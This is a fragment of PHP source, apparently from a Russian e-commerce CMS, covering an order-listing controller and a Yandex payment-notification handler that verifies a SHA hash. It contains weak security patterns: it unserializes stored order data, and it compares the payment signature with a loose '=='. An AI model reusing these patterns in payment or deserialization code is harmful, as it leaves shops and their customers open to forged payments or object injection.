$this->totalSumm = $totalSumm; // Десериализация строки в массив (состав заказа) foreach ($orders as $k => $order) { $orders[$k]['order_content'] = unserialize(stripslashes($order['order_content'])); if ($orders[$k]['number'] == '') { $orders[$k]['number'] = $orders[$k]['id']; DB::query("UPDATE `" . PREFIX . "order` SET `number`= " . DB::quote($orders[$k]['number']) . " WHERE `id`=" . DB::quote($orders[$k]['id']) . ""); } } $propertyOrder = MG::getOption('propertyOrder'); $propertyOrder = stripslashes($propertyOrder); $propertyOrder = unserialize($propertyOrder); $product = new Models_Product(); $exampleName = $product->getProductByUserFilter(' 1=1 LIMIT 0,1'); $ids = array_keys($exampleName); $this->exampleName = $exampleName[$ids[0]]['title']; $this->assocStatus = Models_Order::$status; $this->assocStatusClass = array('get-paid', 'get-paid', 'paid', 'get-paid', 'dont-paid', 'paid', 'get-paid'); // цветная подсветка статусов $model = new Models_Order(); $this->assocDelivery = $model->getListDelivery(); $this->assocPay = $model->getListPayment(); $this->orders = $orders; $this->pager = $navigator->getPager('forAjax'); $this->orderCount = $model->getOrderCount(); $this->countPrintRowsOrder = $countPrintRowsOrder; $this->displayFilter = $_POST['status_id'] != "null" && !empty($_POST['status_id']) || isset($_POST['applyFilter']); // так проверяем произошол ли запрос по фильтрам или нет $this->filter = $filter->getHtmlFilter(); $this->sorterData = $sorterData; $this->propertyOrder = $propertyOrder;
/** * проверка платежа через Yandex */ public function yandex($paymentID, $paymentStatus) { $order = new Models_Order(); if ('success' == $paymentStatus) { $orderInfo = $order->getOrder(" id = " . DB::quote($_POST['label'], 1)); $msg = 'Вы успешно оплатили заказ №' . $orderInfo[$_POST['label']]['number']; $msg .= $this->msg; } elseif ('result' == $paymentStatus && isset($_POST)) { $paymentAmount = trim($_POST['withdraw_amount']); $paymentOrderId = trim($_POST['label']); if (!empty($paymentAmount) && !empty($paymentOrderId)) { $orderInfo = $order->getOrder(" id = " . DB::quote($paymentOrderId, 1) . " and summ+delivery_cost = " . DB::quote($paymentAmount, 1)); $paymentInfo = $order->getParamArray($paymentID, $paymentOrderId, $orderInfo[$paymentOrderId]['summ']); } // предварительная проверка платежа if (empty($orderInfo)) { echo "ERR: НЕКОРРЕКТНЫЕ ДАННЫЕ ЗАКАЗА"; exit; } $secret = $paymentInfo[1]['value']; $alg = $paymentInfo[3]['value']; $pre_sha = $_POST['notification_type'] . '&' . $_POST['operation_id'] . '&' . $_POST['amount'] . '&' . $_POST['currency'] . '&' . $_POST['datetime'] . '&' . $_POST['sender'] . '&' . $_POST['codepro'] . '&' . $secret . '&' . $_POST['label']; $sha = hash($alg, $pre_sha); if ($sha == $_POST['sha1_hash']) { $this->actionWhenPayment(array('paymentOrderId' => $paymentOrderId, 'paymentAmount' => $orderInfo[$paymentOrderId]['summ'], 'paymentID' => $paymentID)); echo "0"; exit; } else { echo "1"; exit; } } return $msg; }